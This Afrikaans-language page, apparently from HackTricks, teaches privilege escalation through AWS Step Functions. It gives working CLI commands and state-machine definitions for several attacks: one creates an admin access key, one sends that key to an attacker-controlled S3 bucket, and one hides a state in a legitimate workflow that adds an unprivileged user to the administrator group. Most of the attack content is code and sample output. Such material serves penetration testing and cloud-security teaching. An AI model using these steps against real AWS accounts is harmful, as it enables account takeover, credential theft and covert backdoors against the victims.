# AWS - Step Functions Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

Vir meer inligting oor hierdie AWS-diens, sien:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### Taakbronne

Hierdie privilege escalation tegnieke vereis die gebruik van sekere AWS Step Functions-bronne om die verlangde privilege escalation-aksies uit te voer.

Om al die moontlike aksies na te gaan, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters sien wat dit gebruik, soos in:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>

Of jy kan ook na die API AWS-dokumentasie gaan en die dokumentasie van elke aksie nagaan:

- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)

### `states:TestState` & `iam:PassRole`

'n aanvaller met die **`states:TestState`**- en **`iam:PassRole`**-toestemmings kan enige staat toets en enige IAM-rol daaraan deurgee sonder om 'n bestaande state machine te skep of by te werk, wat moontlik ongemagtigde toegang tot ander AWS-dienste met die rol se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongemagtigde aksies, van die manipulasie van workflows en die wysiging van data tot data-oortredings, bronmanipulasie en privilege escalation.
```bash
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Die volgende voorbeelde wys hoe om 'n state te toets wat 'n access key vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie permissies en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet 'n hoogs-privilegieerde beleid daarmee geassosieer hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die state toelaat om die **`iam:CreateAccessKey`** aksie uit te voer:

- **stateDefinition.json**:
```json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
```
- **Command** uitgevoer om die privesc uit te voer:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
```
**Potensiële impak**: Ongemagtigde uitvoering en manipulasie van workflows en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsbreuke kan lei.

### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)

'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sou 'n staatmasjien kon skep en daaraan enige IAM role toewys, wat ongemagtigde toegang tot ander AWS-dienste met die rolle se permissies moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie — jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** permissies nodig hê (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) om 'n uitvoering oor die staatmasjien te begin.
```bash
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Die volgende voorbeelde wys hoe om 'n state machine te skep wat 'n access key vir die **`admin`** gebruiker skep en hierdie access key exfiltrates na 'n aanvaller-beheerde S3 bucket, deur gebruik te maak van hierdie toestemmings en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet enige hooggeprivilegieerde beleid geassosieer hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die state machine toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer.

- **stateMachineDefinition.json**:
```json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
```
- **Bevel** uitgevoer om **die staatmasjien te skep**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Command** uitgevoer om **'n uitvoering te begin** van die voorheen geskepte staatmasjien:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
```
> [!WARNING]
> Die deur die aanvaller beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject-aksie van die slagofferrekening te aanvaar.

**Potensiële impak**: Ongeoorloofde uitvoering en manipulasie van workflows en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsbreuke kan lei.

### `states:UpdateStateMachine` & (nie altyd vereis nie) `iam:PassRole`

'n Aanvaller met die **`states:UpdateStateMachine`**-toestemming kan die definisie van 'n state machine wysig en ekstra onopvallende states byvoeg wat tot 'n privilege escalation kan lei. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die state machine begin, sal hierdie nuwe kwaadwillige onopvallende staat uitgevoer word en sal die privilege escalation suksesvol wees.

Afhangend van hoe toegeeflik die IAM Role wat aan die state machine gekoppel is, is, sal 'n aanvaller twee situasies teëkom:

1. **Toegeeflike IAM Role**: As die IAM Role wat aan die state machine gekoppel is reeds toegeeflik is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`**-toestemming nie benodig word om privileges te eskaleer nie, aangesien dit nie nodig sou wees om ook die IAM Role te wysig nie; die state machine-definisie alleen is genoeg.
2. **Nie-toegeeflike IAM Role**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`**-toestemming benodig aangesien dit nodig sal wees om 'n toegeeflike IAM Role aan die state machine te koppel benewens om die state machine-definisie te wysig.
```bash
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Die volgende voorbeelde wys hoe om 'n legitieme state machine wat net 'n HelloWorld Lambda function aanroep, op te dateer om 'n ekstra state by te voeg wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM Group voeg. Op hierdie manier, wanneer 'n legitieme gebruiker 'n uitvoering van die opgedateerde state machine begin, sal hierdie nuwe kwaadwillige stealth-state uitgevoer word en sal die privilege escalation suksesvol wees.

> [!WARNING]
> As die state machine nie 'n permissiewe IAM Role geassosieer het nie, sal die **`iam:PassRole`** permissie ook benodig word om die IAM Role op te dateer sodat 'n permissiewe IAM Role geassosieer kan word (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** policy aangeheg).

{{#tabs }}
{{#tab name="Legit State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}

{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#endtabs }}

- **Opdrag** uitgevoer om **by te werk** **die legitieme staatmasjien**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Potensiële impak**: Ongeoorloofde uitvoering en manipulasie van werkvloeie en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsinbreuke kan lei.

{{#include ../../../../banners/hacktricks-training.md}}
